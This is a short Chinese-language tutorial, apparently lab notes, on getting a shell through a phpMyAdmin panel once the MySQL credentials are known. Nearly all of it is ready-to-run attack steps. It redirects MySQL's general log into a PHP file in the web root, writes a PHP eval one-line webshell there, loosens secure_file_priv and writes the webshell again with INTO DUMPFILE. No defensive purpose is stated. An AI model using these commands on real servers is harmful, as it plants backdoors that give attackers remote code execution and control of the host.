通过phpMyadmin后台获取shell
前提:
1.要知道靶机的mysql用户名和密码
2.能成功登录到靶机phpmyadmin中
先登入对方phpmyadmin
然后找到执行sql语句的框架
1.开启日志
set global general_log='on'
2.指定日志写入的文件,就是一句话木马写入的路径
set global general_log_file ="C:/php/PHPTutorial/WWW/she.php"
注意:一定注意路径的斜杠一定是/不是复制的路径
查看靶机根目录,发现创建成功
3.写入一句话木马
select "<?php eval($_POST['x'])?>"
访问一下
然后获取shell
4.模糊查询嗅探
SHOW VARIABLES LIKE 'general_log%' ;
5.这是查看写入权限的值
SHOW VARIABLES LIKE "secure_file_priv"
要是value为NULL 则代表无法导出
要是value为空值 则代表导出和导入没有限制
要是value为/www 则代表导出和导入只能到www目录中
6.修改secure_file_priv的方式
首先再mysql命令查看
show variables like '%secure%';
在my.ini下里的[mysqld] 加入 secure_file_priv =
文件位置
添加
重启phpstudy
然后开启
通过dumpfile导出 也可以 使用outfile写入
写入一句话
SELECT "<?php eval($_POST['x']); ?>" INTO dumpfile "C:/phpStudy/PHPTutorial/WWW/tt.php"
然后可以上传此目录